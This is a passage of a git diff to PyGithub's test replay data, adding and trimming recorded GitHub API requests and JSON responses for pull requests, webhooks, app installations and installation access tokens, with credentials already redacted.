ref":"master","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","user":null,"repo":null},"base":{"label":"PyGithub:topic/RewriteWithGeneratedCode","ref":"topic/RewriteWithGeneratedCode","sha":"ed866fc43833802ab553e5ff8581c81bb00dd433","user":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://my.enterprise.com/api/v3/users/PyGithub","html_url":"https://my.enterprise.com/PyGithub","followers_url":"https://my.enterprise.com/api/v3/users/PyGithub/followers","following_url":"https://my.enterprise.com/api/v3/users/PyGithub/following{/other_user}","gists_url":"https://my.enterprise.com/api/v3/users/PyGithub/gists{/gist_id}","starred_url":"https://my.enterprise.com/api/v3/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://my.enterprise.com/api/v3/users/PyGithub/subscriptions","organizations_url":"https://my.enterprise.com/api/v3/users/PyGithub/orgs","repos_url":"https://my.enterprise.com/api/v3/users/PyGithub/repos","events_url":"https://my.enterprise.com/api/v3/users/PyGithub/events{/privacy}","received_events_url":"https://my.enterprise.com/api/v3/users/PyGithub/received_events","type":"Organization","site_admin":false},"repo":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://my.enterprise.com/api/v3/users/PyGithub","html_url":"https://my.enterprise.com/PyGithub","followers_url":"https://my.enterprise.com/api/v3/users/PyGithub/followers","following_url":"https://my.enterprise.com/api/v3/users/PyGithub/following{/other_user}","gists_url":"https://my.enterprise.com/api/v3/users/PyGithub/gists{/gist_id}","starred_url":"https://my.enterprise.com/api/v3/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://my.enterprise.com/api/v3/users/PyGithub/subscriptions","organizations_url":"https://my.enterprise.com/api/v3/users/PyGithub/orgs","repos_url":"https://my.enterprise.com/api/v3/users/PyGithub/repos","events_url":"https://my.enterprise.com/api/v3/users/PyGithub/events{/privacy}","received_events_url":"https://my.enterprise.com/api/v3/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://my.enterprise.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub","forks_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/forks","keys_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/teams","hooks_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/events","assignees_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/tags","blobs_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/languages","stargazers_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/subscription","commits_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/merges","archive_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/downloads","issues_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2024-01-20T06:37:31Z","pushed_at":"2024-01-19T20:38:15Z","git_url":"git://my.enterprise.com/PyGithub/PyGithub.git","ssh_url":"git@my.enterprise.com:PyGithub/PyGithub.git","clone_url":"https://my.enterprise.com/PyGithub/PyGithub.git","svn_url":"https://my.enterprise.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":15500,"stargazers_count":6484,"watchers_count":6484,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1715,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":288,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://my.enterprise.com/api/v3/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1715,"open_issues":288,"watchers":6484,"default_branch":"main"}},"_links":{"self":{"href":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/pulls/31"},"html":{"href":"https://my.enterprise.com/PyGithub/PyGithub/pull/31"},"issue":{"href":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/issues/31"},"comments":{"href":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/issues/31/comments"},"review_comments":{"href":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/pulls/31/comments"},"review_comment":{"href":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/pulls/comments{/number}"},"commits":{"href":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/pulls/31/commits"},"statuses":{"href":"https://my.enterprise.com/api/v3/repos/PyGithub/PyGithub/statuses/8a4f306d4b223682dd19410d4a9150636ebe4206"}},"author_association":"MEMBER","auto_merge":null,"active_lock_reason":null,"merged":true,"mergeable":false,"rebaseable":false,"mergeable_state":"dirty","merged_by":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://my.enterprise.com/api/v3/users/jacquev6","html_url":"https://my.enterprise.com/jacquev6","followers_url":"https://my.enterprise.com/api/v3/users/jacquev6/followers","following_url":"https://my.enterprise.com/api/v3/users/jacquev6/following{/other_user}","gists_url":"https://my.enterprise.com/api/v3/users/jacquev6/gists{/gist_id}","starred_url":"https://my.enterprise.com/api/v3/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://my.enterprise.com/api/v3/users/jacquev6/subscriptions","organizations_url":"https://my.enterprise.com/api/v3/users/jacquev6/orgs","repos_url":"https://my.enterprise.com/api/v3/users/jacquev6/repos","events_url":"https://my.enterprise.com/api/v3/users/jacquev6/events{/privacy}","received_events_url":"https://my.enterprise.com/api/v3/users/jacquev6/received_events","type":"User","site_admin":false},"comments":1,"review_comments":2,"maintainer_can_modify":false,"commits":3,"additions":511,"deletions":384,"changed_files":45} + +https +POST +my.enterprise.com +None +/api/graphql +{'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"query": "mutation DisablePullRequestAutoMerge($input: DisablePullRequestAutoMergeInput!) { disablePullRequestAutoMerge(input: $input) { actor { avatarUrl login resourcePath url } clientMutationId } }", "variables": {"input": {"pullRequestId": "MDExOlB1bGxSZXF1ZXN0MTQzNjIxNQ=="}}} +200 +[('Server', 'enterprise.com'), ('Date', 'Wed, 07 Jun 2023 08:27:45 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"1573389419d98a2b3d9a6b1fc058a68f1fc3d31108ccfdab8ca4121153626211"'), ('Last-Modified', 'Wed, 07 Jun 2023 04:02:03 GMT'), ('X-OAuth-Scopes', 'public_repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4959'), ('X-RateLimit-Reset', '1686126614'), ('X-RateLimit-Used', '41'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8A96:10854:895AE2:8AB25B:64803F81')] +{"data": {"disablePullRequestAutoMerge": {"actor": {"avatarUrl": "https://avatars.githubusercontent.com/u/14806300?u=786f9f8ef8782d45381b01580f7f7783cf9c7e37&v=4", "login": "heitorpolidoro", "resourcePath": "/heitorpolidoro", "url": "https://my.enterprise.com/api/v3/heitorpolidoro"}, "clientMutationId": null}}} diff --git a/tests/ReplayData/Hook.setUp.txt b/tests/ReplayData/Hook.setUp.txt index 8238293a3c..c0a43687a5 100644 --- a/tests/ReplayData/Hook.setUp.txt +++ b/tests/ReplayData/Hook.setUp.txt @@ -30,4 +30,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4952'), ('content-length', '293'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"36d23f2fb8cd26bc14f28b609f2aa3a3"'), ('date', 'Tue, 29 May 2012 19:04:14 GMT'), ('content-type', 'application/json; charset=utf-8')] {"updated_at":"2012-05-29T18:49:47Z","events":["push"],"url":"https://api.github.com/repos/jacquev6/PyGithub/hooks/257993","test_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks/257993/tests","ping_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks/257993/pings","config":{"url":"http://foobar.com"},"last_response":{"status":"ok","message":"OK","code":200},"active":true,"name":"web","created_at":"2012-05-19T06:01:45Z","id":257993} - diff --git a/tests/ReplayData/Hook.testDelete.txt b/tests/ReplayData/Hook.testDelete.txt index 35d5b4ebcc..e13f2212db 100644 --- a/tests/ReplayData/Hook.testDelete.txt +++ b/tests/ReplayData/Hook.testDelete.txt @@ -7,5 +7,3 @@ None None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4986'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sat, 19 May 2012 05:09:01 GMT')] - - diff --git a/tests/ReplayData/Hook.testEditWithAllParameters.txt b/tests/ReplayData/Hook.testEditWithAllParameters.txt index bb5045d4e5..7788ec20a7 100644 --- a/tests/ReplayData/Hook.testEditWithAllParameters.txt +++ b/tests/ReplayData/Hook.testEditWithAllParameters.txt @@ -41,4 +41,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4984'), ('content-length', '298'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"711cf06c29a923c290e1af74dc3e019d"'), ('date', 'Sat, 19 May 2012 06:03:20 GMT'), ('content-type', 'application/json; charset=utf-8')] {"updated_at":"2012-05-19T06:03:20Z","url":"https://api.github.com/repos/jacquev6/PyGithub/hooks/257993","last_response":{"status":"unused","message":null,"code":null},"config":{"url":"http://foobar.com"},"active":true,"events":["push"],"name":"web","created_at":"2012-05-19T06:01:45Z","id":257993} - diff --git a/tests/ReplayData/Hook.testEditWithMinimalParameters.txt b/tests/ReplayData/Hook.testEditWithMinimalParameters.txt index 4981ee7af2..8d7ed5c20e 100644 --- a/tests/ReplayData/Hook.testEditWithMinimalParameters.txt +++ b/tests/ReplayData/Hook.testEditWithMinimalParameters.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4990'), ('content-length', '303'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"8628a600a78bd5171c9e8d23b1ec22de"'), ('date', 'Sat, 19 May 2012 05:08:16 GMT'), ('content-type', 'application/json; charset=utf-8')] {"last_response":{"status":"unused","message":null,"code":null},"updated_at":"2012-05-19T05:08:16Z","url":"https://api.github.com/repos/jacquev6/PyGithub/hooks/257993","config":{"url":"http://foobar.com/hook"},"active":true,"events":["push"],"name":"web","created_at":"2012-05-19T05:03:14Z","id":257993} - diff --git a/tests/ReplayData/Hook.testTest.txt b/tests/ReplayData/Hook.testTest.txt index b77d2fc33c..357bcd6864 100644 --- a/tests/ReplayData/Hook.testTest.txt +++ b/tests/ReplayData/Hook.testTest.txt @@ -7,5 +7,3 @@ None None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4980'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sat, 19 May 2012 06:04:06 GMT')] - - diff --git a/tests/ReplayData/Installation.setUp.txt b/tests/ReplayData/Installation.setUp.txt new file mode 100644 index 0000000000..e119239142 --- /dev/null +++ b/tests/ReplayData/Installation.setUp.txt @@ -0,0 +1,10 @@ +https +GET +api.github.com +None +/app/installations +{'Accept': 'application/vnd.github.machine-man-preview+json', 'Authorization': 'Bearer jwt_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Thu, 08 Jun 2023 07:39:24 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"b272db57fded7547562b4a357681c6c84054e8fb5169b32206e833bbe7f542e5"'), ('X-GitHub-Media-Type', 'github.v3; param=machine-man-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D58E:1978:151E09E:1565462:648185AC')] +[{"id":36541767,"account":{"login":"EnricoMi","id":44700269,"node_id":"MDQ6VXNlcjQ0NzAwMjY5","avatar_url":"https://avatars.githubusercontent.com/u/44700269?v=4","gravatar_id":"","url":"https://api.github.com/users/EnricoMi","html_url":"https://github.com/EnricoMi","followers_url":"https://api.github.com/users/EnricoMi/followers","following_url":"https://api.github.com/users/EnricoMi/following{/other_user}","gists_url":"https://api.github.com/users/EnricoMi/gists{/gist_id}","starred_url":"https://api.github.com/users/EnricoMi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/EnricoMi/subscriptions","organizations_url":"https://api.github.com/users/EnricoMi/orgs","repos_url":"https://api.github.com/users/EnricoMi/repos","events_url":"https://api.github.com/users/EnricoMi/events{/privacy}","received_events_url":"https://api.github.com/users/EnricoMi/received_events","type":"User","site_admin":false},"repository_selection":"selected","access_tokens_url":"https://api.github.com/app/installations/36541767/access_tokens","repositories_url":"https://api.github.com/installation/repositories","html_url":"https://github.com/settings/installations/36541767","app_id":319953,"app_slug":"publish-test-results","target_id":44700269,"target_type":"User","permissions":{"checks":"write","issues":"read","contents":"read","metadata":"read","pull_requests":"write"},"events":[],"created_at":"2023-04-17T16:18:05.000Z","updated_at":"2023-06-08T07:38:12.000Z","single_file_name":null,"has_multiple_single_files":false,"single_file_paths":[],"suspended_by":null,"suspended_at":null}] diff --git a/tests/ReplayData/Installation.testGetGithubForInstallation.txt b/tests/ReplayData/Installation.testGetGithubForInstallation.txt new file mode 100644 index 0000000000..4052c7ed0d --- /dev/null +++ b/tests/ReplayData/Installation.testGetGithubForInstallation.txt @@ -0,0 +1,32 @@ +http +GET +api.github.com +None +/app/installations?per_page=40 +{'Accept': 'application/vnd.github.machine-man-preview+json', 'Authorization': 'Bearer jwt_removed', 'User-Agent': 'PyGithub/Python-Test'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Mon, 19 Jun 2023 06:59:50 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"b272db57fded7547562b4a357681c6c84054e8fb5169b32206e833bbe7f542e5"'), ('X-GitHub-Media-Type', 'github.v3; param=machine-man-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B368:A85B:CEF8FE3:D136340:648FFCE5')] +[{"id":36541767,"account":{"login":"EnricoMi","id":44700269,"node_id":"MDQ6VXNlcjQ0NzAwMjY5","avatar_url":"https://avatars.githubusercontent.com/u/44700269?v=4","gravatar_id":"","url":"https://api.github.com/users/EnricoMi","html_url":"https://github.com/EnricoMi","followers_url":"https://api.github.com/users/EnricoMi/followers","following_url":"https://api.github.com/users/EnricoMi/following{/other_user}","gists_url":"https://api.github.com/users/EnricoMi/gists{/gist_id}","starred_url":"https://api.github.com/users/EnricoMi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/EnricoMi/subscriptions","organizations_url":"https://api.github.com/users/EnricoMi/orgs","repos_url":"https://api.github.com/users/EnricoMi/repos","events_url":"https://api.github.com/users/EnricoMi/events{/privacy}","received_events_url":"https://api.github.com/users/EnricoMi/received_events","type":"User","site_admin":false},"repository_selection":"selected","access_tokens_url":"https://api.github.com/app/installations/36541767/access_tokens","repositories_url":"https://api.github.com/installation/repositories","html_url":"https://github.com/settings/installations/36541767","app_id":319953,"app_slug":"publish-test-results","target_id":44700269,"target_type":"User","permissions":{"checks":"write","issues":"read","contents":"read","metadata":"read","pull_requests":"write"},"events":[],"created_at":"2023-04-17T16:18:05.000Z","updated_at":"2023-06-08T07:38:12.000Z","single_file_name":null,"has_multiple_single_files":false,"single_file_paths":[],"suspended_by":null,"suspended_at":null}] + +http +POST +api.github.com +None +/app/installations/36541767/access_tokens +{'Accept': 'application/vnd.github.machine-man-preview+json', 'Authorization': 'Bearer jwt_removed', 'User-Agent': 'PyGithub/Python-Test', 'Content-Type': 'application/json'} +{"permissions": {}} +201 +[('Server', 'GitHub.com'), ('Date', 'Mon, 19 Jun 2023 06:59:50 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '231'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"056522667824941d4f276f2d2051ea5c4fd160bd6be7da7765aa63926fc99593"'), ('X-GitHub-Media-Type', 'github.v3; param=machine-man-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'B370:F0F6:D6213DB:D85E7E7:648FFCE6')] +{"token":"private_token_removed","expires_at":"2023-06-19T07:59:50Z","permissions":{"metadata":"read"},"repository_selection":"selected"} + +http +GET +api.github.com +None +/repos/PyGithub/PyGithub +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python-Test'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Mon, 19 Jun 2023 06:59:50 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"f8d860d9f470388781718161c81385fc94b9326916fb10534be0a0942e0a8ee8"'), ('Last-Modified', 'Mon, 19 Jun 2023 02:15:49 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4998'), ('X-RateLimit-Reset', '1687161558'), ('X-RateLimit-Used', '2'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B37A:102E8:CDC2411:CFFF826:648FFCE6')] +{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-06-19T02:15:49Z","pushed_at":"2023-06-18T23:07:29Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":14088,"stargazers_count":6075,"watchers_count":6075,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1641,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":247,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License 